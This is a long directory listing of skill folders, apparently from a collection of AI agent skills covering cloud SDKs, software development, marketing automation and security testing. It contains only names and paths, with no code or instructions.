skills/azure-postgres-ts - azure-resource-manager-cosmosdb-dotnet
skills/azure-resource-manager-cosmosdb-dotnet - azure-resource-manager-durabletask-dotnet
skills/azure-resource-manager-durabletask-dotnet - azure-resource-manager-mysql-dotnet
skills/azure-resource-manager-mysql-dotnet - azure-resource-manager-playwright-dotnet
skills/azure-resource-manager-playwright-dotnet - azure-resource-manager-postgresql-dotnet
skills/azure-resource-manager-postgresql-dotnet - azure-resource-manager-redis-dotnet
skills/azure-resource-manager-redis-dotnet - azure-resource-manager-sql-dotnet
skills/azure-resource-manager-sql-dotnet - azure-search-documents-dotnet
skills/azure-search-documents-dotnet - azure-search-documents-py
skills/azure-search-documents-py - azure-search-documents-ts
skills/azure-search-documents-ts - azure-security-keyvault-keys-dotnet
skills/azure-security-keyvault-keys-dotnet - azure-security-keyvault-keys-java
skills/azure-security-keyvault-keys-java - azure-security-keyvault-secrets-java
skills/azure-security-keyvault-secrets-java - azure-servicebus-dotnet
skills/azure-servicebus-dotnet - azure-servicebus-py
skills/azure-servicebus-py - azure-servicebus-ts
skills/azure-servicebus-ts - azure-speech-to-text-rest-py
skills/azure-speech-to-text-rest-py - azure-storage-blob-java
skills/azure-storage-blob-java - azure-storage-blob-py
skills/azure-storage-blob-py - azure-storage-blob-rust
skills/azure-storage-blob-rust - azure-storage-blob-ts
skills/azure-storage-blob-ts - azure-storage-file-datalake-py
skills/azure-storage-file-datalake-py - azure-storage-file-share-py
skills/azure-storage-file-share-py - azure-storage-file-share-ts
skills/azure-storage-file-share-ts - azure-storage-queue-py
skills/azure-storage-queue-py - azure-storage-queue-ts
skills/azure-storage-queue-ts - azure-web-pubsub-ts
skills/azure-web-pubsub-ts - backend-architect
skills/backend-architect - backend-dev-guidelines
skills/backend-dev-guidelines - backend-development-feature-development
skills/backend-development-feature-development - backend-security-coder
skills/backend-security-coder - backtesting-frameworks
skills/backtesting-frameworks - bamboohr-automation
skills/bamboohr-automation - basecamp-automation
skills/basecamp-automation - bash-defensive-patterns
skills/bash-defensive-patterns - bash-linux
skills/bash-linux - bash-pro
skills/bash-pro - bats-testing-patterns
skills/bats-testing-patterns - bazel-build-optimization
skills/bazel-build-optimization - beautiful-prose
skills/beautiful-prose - behavioral-modes
skills/behavioral-modes - billing-automation
skills/billing-automation - binary-analysis-patterns
skills/binary-analysis-patterns - bitbucket-automation
skills/bitbucket-automation - blockchain-developer
skills/blockchain-developer - blockrun
skills/blockrun - box-automation
skills/box-automation - brainstorming
skills/brainstorming - brand-guidelines-anthropic
skills/brand-guidelines-anthropic - brand-guidelines-community
skills/brand-guidelines-community - brevo-automation
skills/brevo-automation - broken-authentication
skills/broken-authentication - browser-automation
skills/browser-automation - browser-extension-builder
skills/browser-extension-builder - bullmq-specialist
skills/bullmq-specialist - bun-development
skills/bun-development - burp-suite-testing
skills/burp-suite-testing - business-analyst
skills/business-analyst - busybox-on-windows
skills/busybox-on-windows - c-pro
skills/c-pro - c4-architecture-c4-architecture
skills/c4-architecture-c4-architecture - c4-code
skills/c4-code - c4-component
skills/c4-component - c4-container
skills/c4-container - c4-context
skills/c4-context - cal-com-automation
skills/cal-com-automation - calendly-automation
skills/calendly-automation - canva-automation
skills/canva-automation - canvas-design
skills/canvas-design - cc-skill-backend-patterns
skills/cc-skill-backend-patterns - cc-skill-clickhouse-io
skills/cc-skill-clickhouse-io - cc-skill-coding-standards
skills/cc-skill-coding-standards - cc-skill-continuous-learning
skills/cc-skill-continuous-learning - cc-skill-frontend-patterns
skills/cc-skill-frontend-patterns - cc-skill-project-guidelines-example
skills/cc-skill-project-guidelines-example - cc-skill-security-review
skills/cc-skill-security-review - cc-skill-strategic-compact
skills/cc-skill-strategic-compact - changelog-automation
skills/changelog-automation - cicd-automation-workflow-automate
skills/cicd-automation-workflow-automate - circleci-automation
skills/circleci-automation - clarity-gate
skills/clarity-gate - claude-ally-health
skills/claude-ally-health - claude-code-guide
skills/claude-code-guide - claude-d3js-skill
skills/claude-d3js-skill - claude-scientific-skills
skills/claude-scientific-skills - claude-speed-reader
skills/claude-speed-reader - claude-win11-speckit-update-skill
skills/claude-win11-speckit-update-skill - clean-code
skills/clean-code - clerk-auth
skills/clerk-auth - clickup-automation
skills/clickup-automation - close-automation
skills/close-automation - cloud-architect
skills/cloud-architect - cloud-penetration-testing
skills/cloud-penetration-testing - coda-automation
skills/coda-automation - code-documentation-code-explain
skills/code-documentation-code-explain - code-documentation-doc-generate
skills/code-documentation-doc-generate - code-refactoring-context-restore
skills/code-refactoring-context-restore - code-refactoring-refactor-clean
skills/code-refactoring-refactor-clean - code-refactoring-tech-debt
skills/code-refactoring-tech-debt - code-review-ai-ai-review
skills/code-review-ai-ai-review - code-review-checklist
skills/code-review-checklist - code-review-excellence
skills/code-review-excellence - code-reviewer
skills/code-reviewer - codebase-cleanup-deps-audit
skills/codebase-cleanup-deps-audit - codebase-cleanup-refactor-clean
skills/codebase-cleanup-refactor-clean - codebase-cleanup-tech-debt
skills/codebase-cleanup-tech-debt - codex-review
skills/codex-review - commit
skills/commit - competitive-landscape
skills/competitive-landscape - competitor-alternatives
skills/competitor-alternatives - comprehensive-review-full-review
skills/comprehensive-review-full-review - comprehensive-review-pr-enhance
skills/comprehensive-review-pr-enhance - computer-use-agents
skills/computer-use-agents - computer-vision-expert
skills/computer-vision-expert - concise-planning
skills/concise-planning - conductor-implement
skills/conductor-implement - conductor-manage
skills/conductor-manage - conductor-new-track
skills/conductor-new-track - conductor-revert
skills/conductor-revert - conductor-setup
skills/conductor-setup - conductor-status
skills/conductor-status - conductor-validator
skills/conductor-validator - confluence-automation
skills/confluence-automation - content-creator
skills/content-creator - content-marketer
skills/content-marketer - context-compression
skills/context-compression - context-degradation
skills/context-degradation - context-driven-development
skills/context-driven-development - context-fundamentals
skills/context-fundamentals - context-management-context-restore
skills/context-management-context-restore - context-management-context-save
skills/context-management-context-save - context-manager
skills/context-manager - context-optimization
skills/context-optimization - context-window-management
skills/context-window-management - context7-auto-research
skills/context7-auto-research - conversation-memory
skills/conversation-memory - convertkit-automation
skills/convertkit-automation - copilot-sdk
skills/copilot-sdk - copy-editing
skills/copy-editing - copywriting
skills/copywriting - core-components
skills/core-components - cost-optimization
skills/cost-optimization - cpp-pro
skills/cpp-pro - cqrs-implementation
skills/cqrs-implementation - create-pr
skills/create-pr - crewai
skills/crewai - crypto-bd-agent
skills/crypto-bd-agent - csharp-pro
skills/csharp-pro - culture-index
skills/culture-index - customer-support
skills/customer-support - daily-news-report
skills/daily-news-report - data-engineer
skills/data-engineer - data-engineering-data-driven-feature
skills/data-engineering-data-driven-feature - data-engineering-data-pipeline
skills/data-engineering-data-pipeline - data-quality-frameworks
skills/data-quality-frameworks - data-scientist
skills/data-scientist - data-storytelling
skills/data-storytelling - database-admin
skills/database-admin - database-architect
skills/database-architect - database-cloud-optimization-cost-optimize
skills/database-cloud-optimization-cost-optimize - database-design
skills/database-design - database-migration
skills/database-migration - database-migrations-migration-observability
skills/database-migrations-migration-observability - database-migrations-sql-migrations
skills/database-migrations-sql-migrations - database-optimizer
skills/database-optimizer - datadog-automation
skills/datadog-automation - dbos-golang
skills/dbos-golang - dbos-python
skills/dbos-python - dbos-typescript
skills/dbos-typescript - dbt-transformation-patterns
skills/dbt-transformation-patterns - ddd-context-mapping
skills/ddd-context-mapping - ddd-strategic-design
skills/ddd-strategic-design - ddd-tactical-patterns
skills/ddd-tactical-patterns - debugger
skills/debugger - debugging-strategies
skills/debugging-strategies - debugging-toolkit-smart-debug
skills/debugging-toolkit-smart-debug - deep-research
skills/deep-research - defi-protocol-templates
skills/defi-protocol-templates - dependency-management-deps-audit
skills/dependency-management-deps-audit - dependency-upgrade
skills/dependency-upgrade - deployment-engineer
skills/deployment-engineer - deployment-pipeline-design
skills/deployment-pipeline-design - deployment-procedures
skills/deployment-procedures - deployment-validation-config-validate
skills/deployment-validation-config-validate - design-md
skills/design-md - design-orchestration
skills/design-orchestration - devops-troubleshooter
skills/devops-troubleshooter - discord-automation
skills/discord-automation - discord-bot-architect
skills/discord-bot-architect - dispatching-parallel-agents
skills/dispatching-parallel-agents - distributed-debugging-debug-trace
skills/distributed-debugging-debug-trace - distributed-tracing
skills/distributed-tracing - django-pro
skills/django-pro - doc-coauthoring
skills/doc-coauthoring - docker-expert
skills/docker-expert - docs-architect
skills/docs-architect - documentation-generation-doc-generate
skills/documentation-generation-doc-generate - documentation-templates
skills/documentation-templates - docusign-automation
skills/docusign-automation - docx-official
skills/docx-official - domain-driven-design
skills/domain-driven-design - dotnet-architect
skills/dotnet-architect - dotnet-backend
skills/dotnet-backend - dotnet-backend-patterns
skills/dotnet-backend-patterns - dropbox-automation
skills/dropbox-automation - dx-optimizer
skills/dx-optimizer - e2e-testing-patterns
skills/e2e-testing-patterns - elixir-pro
skills/elixir-pro - email-sequence
skills/email-sequence - email-systems
skills/email-systems - embedding-strategies
skills/embedding-strategies - employment-contract-templates
skills/employment-contract-templates - environment-setup-guide
skills/environment-setup-guide - error-debugging-error-analysis
skills/error-debugging-error-analysis - error-debugging-error-trace
skills/error-debugging-error-trace - error-debugging-multi-agent-review
skills/error-debugging-multi-agent-review - error-detective
skills/error-detective - error-diagnostics-error-analysis
skills/error-diagnostics-error-analysis - error-diagnostics-error-trace
skills/error-diagnostics-error-trace - error-diagnostics-smart-debug
skills/error-diagnostics-smart-debug - error-handling-patterns
skills/error-handling-patterns - ethical-hacking-methodology
skills/ethical-hacking-methodology - evaluation
skills/evaluation - event-sourcing-architect
skills/event-sourcing-architect - event-store-design
skills/event-store-design - exa-search
skills/exa-search - executing-plans
skills/executing-plans - expo-deployment
skills/expo-deployment - fal-audio
skills/fal-audio - fal-generate
skills/fal-generate - fal-image-edit
skills/fal-image-edit - fal-platform
skills/fal-platform - fal-upscale
skills/fal-upscale - fal-workflow
skills/fal-workflow - fastapi-pro
skills/fastapi-pro - fastapi-router-py
skills/fastapi-router-py - fastapi-templates
skills/fastapi-templates - ffuf-claude-skill
skills/ffuf-claude-skill - figma-automation
skills/figma-automation - file-organizer
skills/file-organizer - file-path-traversal
skills/file-path-traversal - file-uploads
skills/file-uploads - find-bugs
skills/find-bugs - finishing-a-development-branch
skills/finishing-a-development-branch - firebase
skills/firebase - firecrawl-scraper
skills/firecrawl-scraper - firmware-analyst
skills/firmware-analyst - fix-review
skills/fix-review - flutter-expert
skills/flutter-expert - form-cro
skills/form-cro - fp-ts-errors
skills/fp-ts-errors - fp-ts-pragmatic
skills/fp-ts-pragmatic - fp-ts-react
skills/fp-ts-react - framework-migration-code-migrate
skills/framework-migration-code-migrate - framework-migration-deps-upgrade
skills/framework-migration-deps-upgrade - framework-migration-legacy-modernize
skills/framework-migration-legacy-modernize - free-tool-strategy
skills/free-tool-strategy - freshdesk-automation
skills/freshdesk-automation - freshservice-automation
skills/freshservice-automation - frontend-design
skills/frontend-design - frontend-dev-guidelines
skills/frontend-dev-guidelines - frontend-developer
skills/frontend-developer - frontend-mobile-development-component-scaffold
skills/frontend-mobile-development-component-scaffold - frontend-mobile-security-xss-scan
skills/frontend-mobile-security-xss-scan - frontend-security-coder
skills/frontend-security-coder - frontend-slides
skills/frontend-slides - frontend-ui-dark-ts
skills/frontend-ui-dark-ts - full-stack-orchestration-full-stack-feature
skills/full-stack-orchestration-full-stack-feature - game-development
skills/game-development - 2d-games
skills/game-development/2d-games - 3d-games
skills/game-development/3d-games - game-art
skills/game-development/game-art - game-audio
skills/game-development/game-audio - game-design
skills/game-development/game-design - mobile-games
skills/game-development/mobile-games - multiplayer
skills/game-development/multiplayer - pc-games
skills/game-development/pc-games - vr-ar
skills/game-development/vr-ar - web-games
skills/game-development/web-games - gcp-cloud-run
skills/gcp-cloud-run - gdpr-data-handling
skills/gdpr-data-handling - gemini-api-dev
skills/gemini-api-dev - geo-fundamentals
skills/geo-fundamentals - git-advanced-workflows
skills/git-advanced-workflows - git-pr-workflows-git-workflow
skills/git-pr-workflows-git-workflow - git-pr-workflows-onboard
skills/git-pr-workflows-onboard - git-pr-workflows-pr-enhance
skills/git-pr-workflows-pr-enhance - git-pushing
skills/git-pushing - github-actions-templates
skills/github-actions-templates - github-automation
skills/github-automation - github-issue-creator
skills/github-issue-creator - github-workflow-automation
skills/github-workflow-automation - gitlab-automation
skills/gitlab-automation - gitlab-ci-patterns
skills/gitlab-ci-patterns - gitops-workflow
skills/gitops-workflow - gmail-automation
skills/gmail-automation - go-concurrency-patterns
skills/go-concurrency-patterns - go-playwright
skills/go-playwright - go-rod-master
skills/go-rod-master - godot-gdscript-patterns
skills/godot-gdscript-patterns - golang-pro
skills/golang-pro - google-analytics-automation
skills/google-analytics-automation - google-calendar-automation
skills/google-calendar-automation - google-drive-automation
skills/google-drive-automation - googlesheets-automation
skills/googlesheets-automation - grafana-dashboards
skills/grafana-dashboards - graphql
skills/graphql - graphql-architect
skills/graphql-architect - haskell-pro
skills/haskell-pro - helm-chart-scaffolding
skills/helm-chart-scaffolding - helpdesk-automation
skills/helpdesk-automation - hig-components-content
skills/hig-components-content - hig-components-controls
skills/hig-components-controls - hig-components-dialogs
skills/hig-components-dialogs - hig-components-layout
skills/hig-components-layout - hig-components-menus
skills/hig-components-menus - hig-components-search
skills/hig-components-search - hig-components-status
skills/hig-components-status - hig-components-system
skills/hig-components-system - hig-foundations
skills/hig-foundations - hig-inputs
skills/hig-inputs - hig-patterns
skills/hig-patterns - hig-platforms
skills/hig-platforms - hig-project-context
skills/hig-project-context - hig-technologies
skills/hig-technologies - hosted-agents-v2-py
skills/hosted-agents-v2-py - hr-pro
skills/hr-pro - html-injection-testing
skills/html-injection-testing - hubspot-automation
skills/hubspot-automation - hubspot-integration
skills/hubspot-integration - hugging-face-cli
skills/hugging-face-cli - hugging-face-jobs
skills/hugging-face-jobs - hybrid-cloud-architect
skills/hybrid-cloud-architect - hybrid-cloud-networking
skills/hybrid-cloud-networking - hybrid-search-implementation
skills/hybrid-search-implementation - i18n-localization
skills/i18n-localization - idor-testing
skills/idor-testing - imagen
skills/imagen - incident-responder
skills/incident-responder - incident-response-incident-response
skills/incident-response-incident-response - incident-response-smart-fix
skills/incident-response-smart-fix - incident-runbook-templates
skills/incident-runbook-templates - infinite-gratitude
skills/infinite-gratitude - inngest
skills/inngest - instagram-automation
skills/instagram-automation - interactive-portfolio
skills/interactive-portfolio - intercom-automation
skills/intercom-automation - internal-comms-anthropic
skills/internal-comms-anthropic - internal-comms-community
skills/internal-comms-community - ios-developer
skills/ios-developer - istio-traffic-management
skills/istio-traffic-management - iterate-pr
skills/iterate-pr - java-pro
skills/java-pro - javascript-mastery
skills/javascript-mastery - javascript-pro
skills/javascript-pro - javascript-testing-patterns
skills/javascript-testing-patterns - javascript-typescript-typescript-scaffold
skills/javascript-typescript-typescript-scaffold - jira-automation
skills/jira-automation - julia-pro
skills/julia-pro - k8s-manifest-generator
skills/k8s-manifest-generator - k8s-security-policies
skills/k8s-security-policies - kaizen
skills/kaizen - klaviyo-automation
skills/klaviyo-automation - kpi-dashboard-design
skills/kpi-dashboard-design - kubernetes-architect
skills/kubernetes-architect - langchain-architecture
skills/langchain-architecture - langfuse
skills/langfuse - langgraph
skills/langgraph - laravel-expert
skills/laravel-expert - laravel-security-audit
skills/laravel-security-audit - last30days
skills/last30days - launch-strategy
skills/launch-strategy - legacy-modernizer
skills/legacy-modernizer - legal-advisor
skills/legal-advisor - linear-automation
skills/linear-automation - linear-claude-skill
skills/linear-claude-skill - linkedin-automation
skills/linkedin-automation - linkerd-patterns
skills/linkerd-patterns - lint-and-validate
skills/lint-and-validate - linux-privilege-escalation
skills/linux-privilege-escalation - linux-shell-scripting
skills/linux-shell-scripting - llm-app-patterns
skills/llm-app-patterns - llm-application-dev-ai-assistant
skills/llm-application-dev-ai-assistant - llm-application-dev-langchain-agent
skills/llm-application-dev-langchain-agent - llm-application-dev-prompt-optimize
skills/llm-application-dev-prompt-optimize - llm-evaluation
skills/llm-evaluation - loki-mode
skills/loki-mode - m365-agents-dotnet
skills/m365-agents-dotnet - m365-agents-py
skills/m365-agents-py - m365-agents-ts
skills/m365-agents-ts - machine-learning-ops-ml-pipeline
skills/machine-learning-ops-ml-pipeline - mailchimp-automation
skills/mailchimp-automation - make-automation
skills/make-automation - makepad-skills
skills/makepad-skills - malware-analyst
skills/malware-analyst - manifest
skills/manifest - market-sizing-analysis
skills/market-sizing-analysis - marketing-ideas
skills/marketing-ideas - marketing-psychology
skills/marketing-psychology - mcp-builder
skills/mcp-builder - mcp-builder-ms
skills/mcp-builder-ms - memory-forensics
skills/memory-forensics - memory-safety-patterns
skills/memory-safety-patterns - memory-systems
skills/memory-systems - mermaid-expert
skills/mermaid-expert - metasploit-framework
skills/metasploit-framework - micro-saas-launcher
skills/micro-saas-launcher - microservices-patterns
skills/microservices-patterns - microsoft-azure-webjobs-extensions-authentication-events-dotnet
skills/microsoft-azure-webjobs-extensions-authentication-events-dotnet - microsoft-teams-automation
skills/microsoft-teams-automation - minecraft-bukkit-pro
skills/minecraft-bukkit-pro - miro-automation
skills/miro-automation - mixpanel-automation
skills/mixpanel-automation - ml-engineer
skills/ml-engineer - ml-pipeline-workflow
skills/ml-pipeline-workflow - mlops-engineer
skills/mlops-engineer - mobile-design
skills/mobile-design - mobile-developer
skills/mobile-developer - mobile-security-coder
skills/mobile-security-coder - modern-javascript-patterns
skills/modern-javascript-patterns - monday-automation
skills/monday-automation - monorepo-architect
skills/monorepo-architect - monorepo-management
skills/monorepo-management - moodle-external-api-development
skills/moodle-external-api-development - mtls-configuration
skills/mtls-configuration - multi-agent-brainstorming
skills/multi-agent-brainstorming - multi-agent-patterns
skills/multi-agent-patterns - multi-cloud-architecture
skills/multi-cloud-architecture - multi-platform-apps-multi-platform
skills/multi-platform-apps-multi-platform - n8n-code-python
skills/n8n-code-python - n8n-mcp-tools-expert
skills/n8n-mcp-tools-expert - n8n-node-configuration
skills/n8n-node-configuration - nanobanana-ppt-skills
skills/nanobanana-ppt-skills - neon-postgres
skills/neon-postgres - nerdzao-elite
skills/nerdzao-elite - nerdzao-elite-gemini-high
skills/nerdzao-elite-gemini-high - nestjs-expert
skills/nestjs-expert - network-101
skills/network-101 - network-engineer
skills/network-engineer - nextjs-app-router-patterns
skills/nextjs-app-router-patterns - nextjs-best-practices
skills/nextjs-best-practices - nextjs-supabase-auth
skills/nextjs-supabase-auth - nft-standards
skills/nft-standards - nodejs-backend-patterns
skills/nodejs-backend-patterns - nodejs-best-practices
skills/nodejs-best-practices - nosql-expert
skills/nosql-expert - notebooklm
skills/notebooklm - notion-automation
skills/notion-automation - notion-template-business
skills/notion-template-business - nx-workspace-patterns
skills/nx-workspace-patterns - observability-engineer
skills/observability-engineer - observability-monitoring-monitor-setup
skills/observability-monitoring-monitor-setup - observability-monitoring-slo-implement
skills/observability-monitoring-slo-implement - observe-whatsapp
skills/observe-whatsapp - obsidian-clipper-template-creator
skills/obsidian-clipper-template-creator - on-call-handoff-patterns
skills/on-call-handoff-patterns - onboarding-cro
skills/onboarding-cro - one-drive-automation
skills/one-drive-automation - openapi-spec-generation
skills/openapi-spec-generation - oss-hunter
skills/oss-hunter - outlook-automation
skills/outlook-automation - outlook-calendar-automation
skills/outlook-calendar-automation - page-cro
skills/page-cro - pagerduty-automation
skills/pagerduty-automation - paid-ads
skills/paid-ads - parallel-agents
skills/parallel-agents - payment-integration
skills/payment-integration - paypal-integration
skills/paypal-integration - paywall-upgrade-cro
skills/paywall-upgrade-cro - pci-compliance
skills/pci-compliance - pdf-official
skills/pdf-official - pentest-checklist
skills/pentest-checklist - pentest-commands
skills/pentest-commands - performance-engineer
skills/performance-engineer - performance-profiling
skills/performance-profiling - performance-testing-review-ai-review
skills/performance-testing-review-ai-review - performance-testing-review-multi-agent-review
skills/performance-testing-review-multi-agent-review - personal-tool-builder
skills/personal-tool-builder - php-pro
skills/php-pro - pipedrive-automation
skills/pipedrive-automation - plaid-fintech
skills/plaid-fintech - plan-writing
skills/plan-writing - planning-with-files
skills/planning-with-files - playwright-skill
skills/playwright-skill - podcast-generation
skills/podcast-generation - popup-cro
skills/popup-cro - posix-shell-pro
skills/posix-shell-pro - postgres-best-practices
skills/postgres-best-practices - postgresql
skills/postgresql - posthog-automation
skills/posthog-automation - postmark-automation
skills/postmark-automation - postmortem-writing
skills/postmortem-writing - powershell-windows
skills/powershell-windows - pptx-official
skills/pptx-official - pricing-strategy
skills/pricing-strategy - prisma-expert
skills/prisma-expert - privilege-escalation-methods
skills/privilege-escalation-methods - product-manager-toolkit
skills/product-manager-toolkit - production-code-audit
skills/production-code-audit - programmatic-seo
skills/programmatic-seo - projection-patterns
skills/projection-patterns - prometheus-configuration
skills/prometheus-configuration - prompt-caching
skills/prompt-caching - prompt-engineer
skills/prompt-engineer - prompt-engineering
skills/prompt-engineering - prompt-engineering-patterns
skills/prompt-engineering-patterns - prompt-library
skills/prompt-library - protocol-reverse-engineering
skills/protocol-reverse-engineering - pydantic-models-py
skills/pydantic-models-py - pypict-skill
skills/pypict-skill - python-development-python-scaffold
skills/python-development-python-scaffold - python-packaging
skills/python-packaging - python-patterns
skills/python-patterns - python-performance-optimization
skills/python-performance-optimization - python-pro
skills/python-pro - python-testing-patterns
skills/python-testing-patterns - quant-analyst
skills/quant-analyst - radix-ui-design-system
skills/radix-ui-design-system - rag-engineer
skills/rag-engineer - rag-implementation
skills/rag-implementation - react-best-practices
skills/react-best-practices - react-flow-architect
skills/react-flow-architect - react-flow-node-ts
skills/react-flow-node-ts - react-modernization
skills/react-modernization - react-native-architecture
skills/react-native-architecture - react-patterns
skills/react-patterns - react-state-management
skills/react-state-management - react-ui-patterns
skills/react-ui-patterns - readme
skills/readme - receiving-code-review
skills/receiving-code-review - red-team-tactics
skills/red-team-tactics - red-team-tools
skills/red-team-tools - reddit-automation
skills/reddit-automation - reference-builder
skills/reference-builder - referral-program
skills/referral-program - remotion-best-practices
skills/remotion-best-practices - render-automation
skills/render-automation - requesting-code-review
skills/requesting-code-review - research-engineer
skills/research-engineer - reverse-engineer
skills/reverse-engineer - risk-manager
skills/risk-manager - risk-metrics-calculation
skills/risk-metrics-calculation - ruby-pro
skills/ruby-pro - rust-async-patterns
skills/rust-async-patterns - rust-pro
skills/rust-pro - saga-orchestration
skills/saga-orchestration - sales-automator
skills/sales-automator - salesforce-automation
skills/salesforce-automation - salesforce-development
skills/salesforce-development - sast-configuration
skills/sast-configuration - scala-pro
skills/scala-pro - scanning-tools
skills/scanning-tools - schema-markup
skills/schema-markup - screen-reader-testing
skills/screen-reader-testing - screenshots
skills/screenshots - scroll-experience
skills/scroll-experience - search-specialist
skills/search-specialist - secrets-management
skills/secrets-management - security-auditor
skills/security-auditor - security-bluebook-builder
skills/security-bluebook-builder - security-compliance-compliance-check
skills/security-compliance-compliance-check - security-requirement-extraction
skills/security-requirement-extraction - security-scanning-security-dependencies
skills/security-scanning-security-dependencies - security-scanning-security-hardening
skills/security-scanning-security-hardening - security-scanning-security-sast
skills/security-scanning-security-sast - aws-compliance-checker
skills/security/aws-compliance-checker - aws-iam-best-practices
skills/security/aws-iam-best-practices - aws-secrets-rotation
skills/security/aws-secrets-rotation - aws-security-audit
skills/security/aws-security-audit - segment-automation
skills/segment-automation - segment-cdp
skills/segment-cdp - sendgrid-automation
skills/sendgrid-automation - senior-architect
skills/senior-architect - senior-fullstack
skills/senior-fullstack - sentry-automation
skills/sentry-automation - seo-audit
skills/seo-audit - seo-authority-builder
skills/seo-authority-builder - seo-cannibalization-detector
skills/seo-cannibalization-detector - seo-content-auditor
skills/seo-content-auditor - seo-content-planner
skills/seo-content-planner - seo-content-refresher
skills/seo-content-refresher - seo-content-writer
skills/seo-content-writer - seo-fundamentals
skills/seo-fundamentals - seo-keyword-strategist
skills/seo-keyword-strategist - seo-meta-optimizer
skills/seo-meta-optimizer - seo-snippet-hunter
skills/seo-snippet-hunter - seo-structure-architect
skills/seo-structure-architect - server-management
skills/server-management - service-mesh-expert
skills/service-mesh-expert - service-mesh-observability
skills/service-mesh-observability - sharp-edges
skills/sharp-edges - shellcheck-configuration
skills/shellcheck-configuration - shodan-reconnaissance
skills/shodan-reconnaissance - shopify-apps
skills/shopify-apps - shopify-automation
skills/shopify-automation - shopify-development
skills/shopify-development - signup-flow-cro
skills/signup-flow-cro - similarity-search-patterns
skills/similarity-search-patterns - skill-creator
skills/skill-creator - skill-creator-ms
skills/skill-creator-ms - skill-developer
skills/skill-developer - skill-rails-upgrade
skills/skill-rails-upgrade - skill-seekers
skills/skill-seekers - slack-automation
skills/slack-automation - slack-bot-builder
skills/slack-bot-builder - slack-gif-creator
skills/slack-gif-creator - slo-implementation
skills/slo-implementation - smtp-penetration-testing
skills/smtp-penetration-testing - social-content
skills/social-content - software-architecture
skills/software-architecture - solidity-security
skills/solidity-security - spark-optimization
skills/spark-optimization - sql-injection-testing
skills/sql-injection-testing - sql-optimization-patterns
skills/sql-optimization-patterns - sql-pro
skills/sql-pro - sqlmap-database-pentesting
skills/sqlmap-database-pentesting - square-automation
skills/square-automation - ssh-penetration-testing
skills/ssh-penetration-testing - startup-analyst
skills/startup-analyst - startup-business-analyst-business-case
skills/startup-business-analyst-business-case - startup-business-analyst-financial-projections
skills/startup-business-analyst-financial-projections - startup-business-analyst-market-opportunity
skills/startup-business-analyst-market-opportunity - startup-financial-modeling
skills/startup-financial-modeling - startup-metrics-framework
skills/startup-metrics-framework - stitch-ui-design
skills/stitch-ui-design - stride-analysis-patterns
skills/stride-analysis-patterns - stripe-automation
skills/stripe-automation - stripe-integration
skills/stripe-integration - subagent-driven-development
skills/subagent-driven-development - supabase-automation
skills/supabase-automation - superpowers-lab
skills/superpowers-lab - swiftui-expert-skill
skills/swiftui-expert-skill - systematic-debugging
skills/systematic-debugging - systems-programming-rust-project
skills/systems-programming-rust-project - tailwind-design-system
skills/tailwind-design-system - tailwind-patterns
skills/tailwind-patterns - tavily-web
skills/tavily-web - tdd-orchestrator
skills/tdd-orchestrator - tdd-workflow
skills/tdd-workflow - tdd-workflows-tdd-cycle
skills/tdd-workflows-tdd-cycle - tdd-workflows-tdd-green
skills/tdd-workflows-tdd-green - tdd-workflows-tdd-red
skills/tdd-workflows-tdd-red - tdd-workflows-tdd-refactor
skills/tdd-workflows-tdd-refactor - team-collaboration-issue
skills/team-collaboration-issue - team-collaboration-standup-notes
skills/team-collaboration-standup-notes - team-composition-analysis
skills/team-composition-analysis - telegram-automation
skills/telegram-automation - telegram-bot-builder
skills/telegram-bot-builder - telegram-mini-app
skills/telegram-mini-app - temporal-python-pro
skills/temporal-python-pro - temporal-python-testing
skills/temporal-python-testing - terraform-module-library
skills/terraform-module-library - terraform-skill
skills/terraform-skill - terraform-specialist
skills/terraform-specialist - test-automator
skills/test-automator - test-driven-development
skills/test-driven-development - test-fixing
skills/test-fixing - testing-patterns
skills/testing-patterns - theme-factory
skills/theme-factory - threat-mitigation-mapping
skills/threat-mitigation-mapping - threat-modeling-expert
skills/threat-modeling-expert - threejs-skills
skills/threejs-skills - tiktok-automation
skills/tiktok-automation - todoist-automation
skills/todoist-automation - tool-design
skills/tool-design - top-web-vulnerabilities
skills/top-web-vulnerabilities - track-management
skills/track-management - trello-automation
skills/trello-automation - trigger-dev
skills/trigger-dev - turborepo-caching
skills/turborepo-caching - tutorial-engineer
skills/tutorial-engineer - twilio-communications
skills/twilio-communications - twitter-automation
skills/twitter-automation - typescript-advanced-types
skills/typescript-advanced-types - typescript-expert
skills/typescript-expert - typescript-pro
skills/typescript-pro - ui-skills
skills/ui-skills - ui-ux-designer
skills/ui-ux-designer - ui-ux-pro-max
skills/ui-ux-pro-max - ui-visual-validator
skills/ui-visual-validator - unit-testing-test-generate
skills/unit-testing-test-generate - unity-developer
skills/unity-developer - unity-ecs-patterns
skills/unity-ecs-patterns - unreal-engine-cpp-pro
skills/unreal-engine-cpp-pro - upgrading-expo
skills/upgrading-expo - upstash-qstash
skills/upstash-qstash - using-git-worktrees
skills/using-git-worktrees - using-neon
skills/using-neon - using-superpowers
skills/using-superpowers - uv-package-manager
skills/uv-package-manager - varlock-claude-skill
skills/varlock-claude-skill - vector-database-engineer
skills/vector-database-engineer - vector-index-tuning
skills/vector-index-tuning - vercel-automation
skills/vercel-automation - vercel-deploy-claimable
skills/vercel-deploy-claimable - vercel-deployment
skills/vercel-deployment - verification-before-completion
skills/verification-before-completion - vexor
skills/vexor - viral-generator-builder
skills/viral-generator-builder - voice-agents
skills/voice-agents - voice-ai-development
skills/voice-ai-development - voice-ai-engine-development
skills/voice-ai-engine-development - vulnerability-scanner
skills/vulnerability-scanner - wcag-audit-patterns
skills/wcag-audit-patterns - web-artifacts-builder
skills/web-artifacts-builder - web-design-guidelines
skills/web-design-guidelines - web-performance-optimization
skills/web-performance-optimization - web3-testing
skills/web3-testing - webapp-testing
skills/webapp-testing - webflow-automation
skills/webflow-automation - whatsapp-automation
skills/whatsapp-automation - wiki-architect
skills/wiki-architect - wiki-changelog
skills/wiki-changelog - wiki-onboarding
skills/wiki-onboarding - wiki-page-writer
skills/wiki-page-writer - wiki-qa
skills/wiki-qa - wiki-researcher
skills/wiki-researcher - wiki-vitepress
skills/wiki-vitepress - windows-privilege-escalation
skills/windows-privilege-escalation - wireshark-analysis
skills/wireshark-analysis - wordpress-penetration-testing
skills/wordpress-penetration-testing - workflow-automation
skills/workflow-automation - workflow-orchestration-patterns
skills/workflow-orchestration-patterns - workflow-patterns
skills/workflow-patterns - wrike-automation
skills/wrike-automation - writing-plans
skills/writing-plans - writing-skills
skills/writing-skills - x-article-publisher-skill
skills/x-article-publisher-skill - xlsx-official
skills/xlsx-official - xss-html-injection
skills/xss-html-injection - youtube-automation
